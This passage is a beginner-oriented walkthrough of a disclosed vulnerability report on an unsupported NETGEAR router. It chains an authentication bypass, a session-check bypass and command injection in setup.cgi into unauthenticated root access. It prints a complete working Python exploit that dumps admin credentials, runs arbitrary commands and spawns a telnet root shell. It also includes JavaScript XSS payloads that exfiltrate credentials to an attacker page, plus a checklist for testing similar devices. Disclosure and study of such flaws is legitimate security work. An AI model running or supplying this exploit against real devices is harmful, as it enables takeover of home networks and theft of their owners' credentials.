The session check compares id= against the contents of the file named by sp=. Passing sp=1337 points at a file that does not exist on the device, so fopen fails and ReadSessionId returns the initialised value of zero. Passing id=0 therefore matches, and the session check passes. The command execution helper combines both bypasses in one request:

Python
def cmd_exec(target, cmd, silent = False):
    r = requests.post(
        f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm',

Line by line: the function takes the target, the command to run, and a flag saying whether to stay quiet. requests.post sends a POST request, the kind a browser sends when you submit a form. The URL carries id=0, the session ID that will match the missing file, sp=1337, the name of a session file that does not exist, and foo=currentsetting.htm, the login bypass. Note that the query string in the report is written as id=0&sp=1337foo=currentsetting.htm, with no separator between the sp value and foo; the & separates parameters, and here the second one is sp whose value runs on into foo=currentsetting.htm.

Step 3: reach the command handler

Once past the checks, setup.cgi dispatches on the parsed GET parameters, or on the POST body. HandleSetupCgi parses the input into a key/value list and then calls check_need_logout:

Text
int HandleSetupCgi()
{
  int List;
  const char *NextFile;
  const char *ActionName;
  List = cgi_input_parse();
  fflush(stdout);
  if ( check_need_logout(List) )
    return handle_logout(List);

Line by line: cgi_input_parse() reads the request's parameters and builds a list of name and value pairs, stored in List. fflush(stdout) pushes out any pending output. Then check_need_logout(List) is called; if it returns a true value, the request is treated as a logout and handed to handle_logout. Otherwise the function carries on to the rest of the request handling.

check_need_logout is where NEED_AUTH is finally consulted:

Text
bool __fastcall check_need_logout(int List)
{
  // ...
  LoginIp = getenv("LOGIN_IP");
  NeedAuth = getenv("NEED_AUTH");
  // ...
  if ( NeedAuth )
  {
    Return = 0;
    if ( *NeedAuth == '0' )
      return Return;
  }
 //...
}

Line by line: getenv("LOGIN_IP") reads the environment variable holding the client's address, and getenv("NEED_AUTH") reads the one saying whether a login is needed. If NEED_AUTH is present, the function sets Return to zero and, if the first character of NEED_AUTH is the character 0, returns zero straight away. The function has to return zero for the caller to expose functionality. Because the HTTP server set NEED_AUTH to 0 thanks to the substring trick, it returns zero and the request proceeds. At this point any functionality exposed by the web UI is reachable, including the HTTP password leak.

Step 4: inject a command through ping_test

setup.cgi implements a command model, and one of the commands pings an arbitrary IP. Pinging means sending a small test message to an address to see whether it answers. It is the functionality available in Advanced > Administration > Diagnostics. The handler is:

Text
int __fastcall handler_ping_test(int a1)
{
  const char *v2; // $s2
  const char *v3; // $v0
  char v5[128]; // [sp+18h] [-80h] BYREF
  v2 = (const char *)find_val(a1, (int)"c4_IPAddr");
  if ( !v2 )
    v2 = &nptr;
  if ( !strchr(v2, '-') && !strchr(v2, ';') )
  {
    sprintf(v5, "/bin/ping -c 4 %s", v2);
    myPipe(v5, &ping_output);
  }
  v3 = (const char *)find_val(a1, (int)"next_file");
  html_parser(v3, a1, &key_fun_tab);
  return 0;
}

Line by line: find_val(a1, "c4_IPAddr") looks up the value the user submitted in the c4_IPAddr field and stores it in v2. If it is missing, a default is used. strchr(v2, '-') and strchr(v2, ';') check whether the value contains a hyphen or a semicolon; if it contains neither, the code builds a command in the buffer v5 with sprintf(v5, "/bin/ping -c 4 %s", v2), which pastes the user's value into /bin/ping -c 4 ..., and runs it through myPipe, which captures the output. Finally the next_file value is looked up and passed to html_parser, which renders the requested page. The c4_IPAddr POST parameter is formatted straight into a shell command with sprintf and passed to myPipe. The only two characters rejected are - and ;, which is not enough to stop injection. A shell is the program that reads typed commands and runs them; && means "and then, if the previous command succeeded", so it chains a second command onto the first. The exploit posts the following:

Python
def cmd_exec(target, cmd, silent = False):
    '''Bypass authentication and command inject `cmd`.'''
    r = requests.post(
        f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm', {
        'todo' : 'ping_test',
        'c4_IPAddr' : f'[redacted] && echo SNIPME && {cmd}',
        'next_file' : 'diagping.htm'
    })
    content = r.content.decode()
    ping_log = re.findall(
        r'<textarea name="ping_result" .+ readonly >(.+)</textarea>',
        content,
        re.DOTALL
    )
    _, cmd_content = ping_log[0].split('SNIPME', 1)
    if not silent:
        print(cmd_content.strip())

Line by line: the POST goes to the same URL with both bypasses. The form fields are sent as a dictionary: todo is set to ping_test, which selects the ping handler; c4_IPAddr is set to [redacted] && echo SNIPME && {cmd}, where [redacted] is the device itself, so the ping succeeds, echo SNIPME prints a marker word, and then the attacker's command runs; next_file is set to diagping.htm, the diagnostics page. The reply is decoded, and re.findall pulls out the contents of the ping_result textarea, the box on the page where ping output is shown; re.DOTALL lets the pattern match across line breaks. split('SNIPME', 1) cuts the text at the marker, and the part after it is the command's output, which is printed unless silent is set. The POST sends todo=ping_test, a c4_IPAddr value that starts with a valid ping target and chains the command with &&, and next_file=diagping.htm. The output of the command appears inside the ping_result textarea, and the exploit splits on the SNIPME marker to extract it.

Step 5: get a root shell

The report shows the tool obtaining a shell on the device:

Text
>python longue-vue.py --target routerlogin.com --shell
[...]
Getting a shell against routerlogin.com..
Waiting a few seconds before connecting..
Dropping in the shell, exit with ctrl+c
# /bin/ps
/bin/ps
  PID USER       VSZ STAT COMMAND
    1 root      1100 S    init
    2 root         0 SW<  [kthreadd]
    3 root         0 SW<  [migration/0]
    4 root         0 SW   [sirq-high/0]
    5 root         0 SW   [sirq-timer/0]
    6 root         0 SW   [sirq-net-tx/0]
    7 root         0 SW   [sirq-net-rx/0]
    8 root         0 SW   [sirq-block/0]
    9 root         0 SW   [sirq-tasklet/0]
   10 root         0 SW   [sirq-sched/0]
   11 root         0 SW   [sirq-hrtimer/0]
   12 root         0 SW   [sirq-rcu/0]
   13 root         0 SW<  [migration/1]
   14 root         0 SW   [sirq-high/1]
   15 root         0 SW   [sirq-timer/1]
   16 root         0 SW   [sirq-net-tx/1]
   17 root         0 SW   [sirq-net-rx/1]
   18 root         0 SW   [sirq-block/1]
   19 root         0 SW   [sirq-tasklet/1]
   20 root         0 SW   [sirq-sched/1]
   21 root         0 SW   [sirq-hrtimer/1]
   22 root         0 SW   [sirq-rcu/1]
   23 root         0 SW<  [events/0]
   24 root         0 SW<  [events/1]
   25 root         0 SW<  [khelper]
   28 root         0 SW<  [async/mgr]
   92 root         0 SW<  [kblockd/0]
   93 root         0 SW<  [kblockd/1]
  102 root         0 SW<  [khubd]
  120 root         0 SW<  [bpm]
  136 root         0 SW   [pdflush]
  137 root         0 SW   [pdflush]
  138 root         0 SWN  [kswapd0]
  140 root         0 SW<  [crypto/0]
  141 root         0 SW<  [crypto/1]
  198 root         0 SW<  [mtdblockd]
  246 root         0 SW   [board-timer]
  250 root         0 SW<  [linkwatch]
  306 root         0 SW   [kpAliveWatchdog]
  312 root         0 SW   [dsl0]
  321 root         0 SW   [bcmsw]
  322 root         0 SW   [bcmsw_timer]
  409 root      1500 S    /usr/sbin/swmdk
  411 root      1500 S    /usr/sbin/swmdk
  412 root      1500 S    /usr/sbin/swmdk
  417 root      1272 S    /sbin/klogd
  419 root       808 S    /usr/sbin/cmd_agent_ap
  421 root         0 SWN  [jffs2_gcd_mtd4]
  422 root         0 SWN  [jffs2_gcd_mtd3]
  423 root         0 SWN  [jffs2_gcd_mtd12]
  424 root         0 SWN  [jffs2_gcd_mtd11]
  425 root         0 SWN  [jffs2_gcd_mtd10]
  426 root         0 SWN  [jffs2_gcd_mtd9]
  427 root         0 SWN  [jffs2_gcd_mtd2]
  428 root         0 SWN  [jffs2_gcd_mtd8]
[...]
# *** Connection closed by remote host ***
Cleaning up..
Joining..
----------------------------Done----------------------------

Line by line: the first line runs the tool against routerlogin.com with --shell. The tool prints that it is getting a shell, waits a few seconds, then says it is dropping you into the shell. # /bin/ps is the command typed at the prompt: ps lists running processes. The table below it has columns for process ID (PID), the user the process runs as (USER), memory size (VSZ), state (STAT) and the command itself. Every line shows root as the user, which is the point: the injected commands run with the highest privileges. The [...] marks output left out. *** Connection closed by remote host *** is the telnet client reporting the connection ended. The tool then cleans up, joins its background thread and prints Done between dashes.

The shell is obtained by spawning the device's telnet server through the command injection. Telnet is an old protocol for a text login session over the network; a telnet server is the program that accepts those connections:

Python
def spawn_telnetd(target):
    '''Spawn the telnet server.'''
    cmd_exec(target, '/bin/utelnetd', silent = True)

Line by line: the function takes the target and calls cmd_exec with the command /bin/utelnetd, the device's telnet server program, and silent = True so nothing is printed. The tool waits five seconds, connects with telnetlib, a Python library for telnet, and on exit kills the server with /bin/kill $(/bin/pidof utelnetd). pidof finds the process ID of a running program, and kill stops it. The ps output shows the processes running as root, which is the privilege level the injected commands get.

Step 6: get around CORS in the browser scenario

When the exploit runs from the browser, the origin longue-vue.net is not allowed to read cross-origin data. An origin is the combination of scheme, host and port that a page comes from; CORS, cross-origin resource sharing, is the browser rule that stops a page from one origin reading replies from another. The attacker's page can still send requests and trigger the flaws, but it cannot read the results. The workaround is to turn the command execution into an XSS: the injected command runs /bin/echo PAYLOAD, and the payload executes in the router's origin, from where it can send data back to the attacker's server. XSS, cross-site scripting, means getting your own script to run inside someone else's page, so it runs with that page's permissions. The password leak is implemented this way:

JavaScript
//
// Dump the passwords of the administrator.
//
function dumpPasswords() {
  //
  // This is the XSS payload that allows us to exfiltrate data to the attacker website.
  // Without it CORS would prevent us from reading the content and leaking the creds.
  // Once it is finished it sends a message to the parent window, so polite.
  //
  const payload = `fetch('/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm').then(r=>r.text()).then(r=>parent.postMessage(r, '*')).catch(r=>parent.postMessage('failed','*'))`;
  return execute(payload).then(R => {
    const [loginMatch, pwdMatch] = R.matchAll(/Router Admin (?:Username|Password)<\/span>:&nbsp;(.+)<\/td>/g);
    return {'login':loginMatch[1], 'pwd':pwdMatch[1]};
  });
}

Line by line: dumpPasswords is the function that fetches the admin credentials. The comments explain that the payload is what lets data leave the router's origin, and that without it CORS would block reading the reply. payload is a piece of JavaScript stored as text: fetch(...) requests the password page from the router itself, .then(r=>r.text()) turns the reply into text, and .then(r=>parent.postMessage(r, '*')) sends that text to the page that opened this one, the attacker's page; postMessage is the browser's way for pages to send each other messages. If anything fails, catch sends the word failed instead. execute(payload) runs that text on the router through the command injection. When the result R comes back, matchAll with the pattern pulls out the username and password, and the function returns them as an object with login and pwd fields.

The same technique reads the output of arbitrary commands:

JavaScript
//
// Execute a shell command on the router.
//
function executeCommand(command) {
  if (command.includes(';') || command.includes('-')) {
    throw 'cannot inject ";" or "-"';
  }
  //
  // This is the XSS payload that allows us to exfiltrate data to the attacker website.
  // Without it CORS would prevent us from reading the content and leaking the creds.
  // Once it is finished it sends a message to the parent window, so polite.
  //
  const payload = "parent.postMessage(document.body.outerHTML,'*')";
  const commands = ['/bin/echo BEGIN', command, '/bin/echo END'];
  return execute(payload, commands).then(r => {
    const [_, result] = r.match(/BEGIN\n(.+)\nEND/s);
    return result;
  });
}

Line by line: the function first refuses any command containing ; or -, throwing an error, because the server-side filter blocks those two characters. payload is the script that sends the whole page body, document.body.outerHTML, back to the parent window. commands is a list: print BEGIN, run the attacker's command, print END. execute(payload, commands) runs them on the router. The reply r is matched with a pattern that captures whatever sits between BEGIN and END, and that captured text is returned. The client-side helper refuses commands containing ; or -.

The full exploit

The report closes with the complete script, which ties the pieces together:

Python
import requests
import re
import threading
import telnetlib
import time
import argparse
def dump_http_pwd(target):
    '''Bypass authentication and retrieve credentials needed to access
    the administration panel.'''
    r = requests.get(f'http://{target}/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm')
    content = r.content.decode()
    login, pwd = re.findall(r'Router Admin (?:Username|Password)</span>:&nbsp;(.+)</td>', content)
    return login, pwd
def cmd_exec(target, cmd, silent = False):
    '''Bypass authentication and command inject `cmd`.'''
    r = requests.post(
        f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm', {
        'todo' : 'ping_test',
        'c4_IPAddr' : f'[redacted] && echo SNIPME && {cmd}',
        'next_file' : 'diagping.htm'
    })
    content = r.content.decode()
    ping_log = re.findall(
        r'<textarea name="ping_result" .+ readonly >(.+)</textarea>',
        content,
        re.DOTALL
    )
    _, cmd_content = ping_log[0].split('SNIPME', 1)
    if not silent:
        print(cmd_content.strip())
def spawn_telnetd(target):
    '''Spawn the telnet server.'''
    cmd_exec(target, '/bin/utelnetd', silent = True)
def main():
    parser = argparse.ArgumentParser('Longue vue')
    parser.add_argument('--dump-pwd', action = 'store_true', default = False)
    parser.add_argument('--shell', action = 'store_true', default = False)
    parser.add_argument('--cmd')
    parser.add_argument('--target', default = 'routerlogin.com')
    args = parser.parse_args()
    if not args.dump_pwd and not args.shell and not args.cmd:
        parser.print_help()
        return
    if args.dump_pwd:
        print('Dumping administration password...')
        login, pwd = dump_http_pwd(args.target)
        print(f'Login: {repr(login)}, Password: {repr(pwd)}')
    if args.cmd is not None:
        if '-' in args.cmd or ';' in args.cmd:
            print('Both "-" and ";" are disallowed by the command injection bug, use the shell instead.')
            return
        print(f'Executing {repr(args.cmd)} against {args.target}..')
        cmd_exec(args.target, args.cmd)
    if args.shell:
        print(f'Getting a shell against {args.target}..')
        telnetd = threading.Thread(target = spawn_telnetd, args = (args.target, ))
        telnetd.start()
        print('Waiting a few seconds before connecting..')
        time.sleep(5)
        print('Dropping in the shell, exit with ctrl+c')
        try:
            with telnetlib.Telnet(args.target) as tn:
                tn.mt_interact()
        except:
            pass
        print('Cleaning up..')
        cmd_exec(args.target, '/bin/kill $(/bin/pidof utelnetd)', silent = True)
        print('Joining..')
        telnetd.join()
    print('Done'.center(60, '-'))
main()

Line by line: the import lines load the libraries the script needs: requests for HTTP, re for patterns, threading for running something in the background, telnetlib for telnet, time for waiting, argparse for reading command-line options. dump_http_pwd, cmd_exec and spawn_telnetd are the functions explained above. main() sets up the option parser named Longue vue, adds the --dump-pwd, --shell, --cmd and --target options, with routerlogin.com as the default target, and reads what the user typed. If no action was chosen, it prints the help and stops. If --dump-pwd was given, it fetches and prints the login and password. If --cmd was given, it refuses commands containing - or ; and otherwise runs the command. If --shell was given, it starts spawn_telnetd in a background thread, waits five seconds, connects with telnet and hands you the session, then kills the telnet server and waits for the thread to finish. Finally it prints Done centred between dashes. The last line calls main() to start everything.

Why it works

The authentication decision is made by substring matching the request URL against a list of pages that are allowed to be unauthenticated. Because the match is a strstr over the whole URL, any authenticated request can carry a harmless-looking parameter such as foo=currentsetting.htm and be treated as a special non-auth page, so the server sets NEED_AUTH=0 and setup.cgi skips authentication.

The session check is defeated by its own error handling. The session file path is built by concatenating the attacker-controlled sp= value onto /tmp/SessionFile, and ReadSessionId returns zero when the file cannot be opened. Choosing an sp value that does not exist therefore makes the expected session ID zero, and id=0 matches it. The report also notes in passing that there is a remote pre-auth stack overflow, though it does not analyse it further.

The command injection exists because c4_IPAddr is formatted directly into a shell command with sprintf and passed to myPipe. The only validation is a rejection of - and ;, which leaves && and other shell metacharacters available.

What an attacker gets

A remote, unauthenticated attacker can bypass the authentication mechanism and run commands as root on the device. From the LAN, or from the Internet when remote management is enabled, this means reading the router administration credentials, executing arbitrary commands, and spawning a telnet server for an interactive root shell. In the browser scenario the attacker can also exfiltrate the administrator's credentials and command output despite CORS, by turning the command injection into XSS in the router's origin. The report does not give a CVSS score or a severity rating.

The fix

No fix was released. NETGEAR's response, quoted in the report, is that it will not release a fix for this vulnerability on the affected product because the product is outside of the security support period, and that current in-support models are not affected. The report does not describe any code change or mitigation.

Things to try on a similar device

  1. Append a non-auth page name as a parameter value to an authenticated URL, for example foo=currentsetting.htm, and see whether the response returns protected content instead of a login or forbidden page. A positive result is the administration page or credential page rendering without a session.
  2. Try the other names from the special-page list, such as debuginfo.htm, update_setting.htm or 401_recovery.htm, in the same position. A positive result is any of them granting access to a page that should require authentication.
  3. Send id=0 together with an sp= value that does not correspond to an existing session file, and check whether the request proceeds past the session check. A positive result is a normal page response rather than a forbidden one.
  4. Submit todo=ping_test with a c4_IPAddr value containing && followed by a command, and inspect the ping_result textarea. A positive result is the command's output appearing in the response.
  5. Test whether characters other than - and ; can chain commands, since the filter only checks those two. A positive result is command output from a payload that uses a different separator.
  6. Where the target is reachable only through a browser, inject /bin/echo with a script payload and check whether it executes in the router's origin and can post data back to an attacker-controlled page. A positive result is data arriving at the attacker server despite CORS.

Glossary

  • Authentication: proving who you are, usually with a username and password.
  • Authorisation: deciding what a proven user is allowed to do.
  • Session: a short-lived record that you have already logged in, so you do not repeat your password on every page.
  • Session ID: the value that identifies your session, sent with each request.
  • Cookie: a small piece of data a website stores in your browser and gets back on later requests.
  • Token: a value used in place of a password to prove a request is allowed.
  • CGI: a program the web server runs for each request, receiving request details through environment variables.
  • Environment variable: a named piece of text the operating system hands to a running program.
  • HTTP server: the program that receives web requests and sends back pages.
  • mini_httpd: a small open-source web server the device's server is derived from.
  • setup.cgi: the CGI program on the device that implements almost all web functionality.
  • URL: the address of a page, including the part after ? that carries parameters.
  • Query string: the part of a URL after ?, made of name and value pairs.
  • Parameter: a named value sent with a request, in the URL or in a form.
  • GET request: a request that asks for a page, with parameters in the URL.
  • POST request: a request that submits form data in the body.
  • strstr: a C function that finds a piece of text inside another piece of text.
  • sprintf: a C function that builds a text string from a template and values.
  • strcpy / strcat: C functions that copy and append text into a buffer.
  • Buffer: a fixed-size area of memory holding text or data.
  • Stack overflow: writing more data into a buffer than it can hold, corrupting nearby memory.
  • Disassembler: a tool that turns machine code back into readable text.
  • Pointer: a variable that holds a memory address.
  • fopen / fscanf: C functions that open a file and read formatted values from it.
  • getenv: a C function that reads an environment variable.
  • root: the most powerful account on a Linux-based device, with no restrictions.
  • Shell: the program that reads typed commands and runs them.
  • Command injection: tricking a program into running extra commands by putting them inside a value it pastes into a shell command.
  • &&: in a shell, run the next command only if the previous one succeeded.
  • Metacharacter: a character with special meaning to the shell, such as &, | or ;.
  • Ping: sending a small test message to an address to see whether it answers.
  • Telnet: an old protocol for a text login session over the network.
  • telnetd / utelnetd: the program on the device that accepts telnet connections.
  • ps: a command that lists running processes.
  • pidof / kill: commands that find a running program's process ID and stop it.
  • LAN: the local network inside a home.
  • Remote management: a setting that lets you reach the router's admin website from outside the home.
  • Firmware: the software built into a device.
  • CVE: a public identifier given to a known security flaw so people can track it.
  • Shodan: a search engine for internet-connected devices.
  • Hosts file: a small text file on your computer that maps names to addresses before the internet's name system is consulted.
  • Resolve: turn a name into a numeric address.
  • Origin: the combination of scheme, host and port a page comes from.
  • CORS: the browser rule that stops a page from one origin reading replies from another.
  • XSS (cross-site scripting): getting your own script to run inside someone else's page, with that page's permissions.
  • postMessage: the browser's way for pages to send each other messages.
  • fetch: a browser function that requests a URL and returns the reply.
  • Exfiltrate: send data out to somewhere the attacker controls.
  • Regular expression: a pattern used to find or capture pieces of text.
  • Thread: a way to run a piece of code in the background while the rest continues.
  • CVSS: a standard scoring system for the severity of a security flaw.
  • Vendor: the company that makes and supports the product.

More by -

View all

18 more disclosed reports, best first.

More from Netgear

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.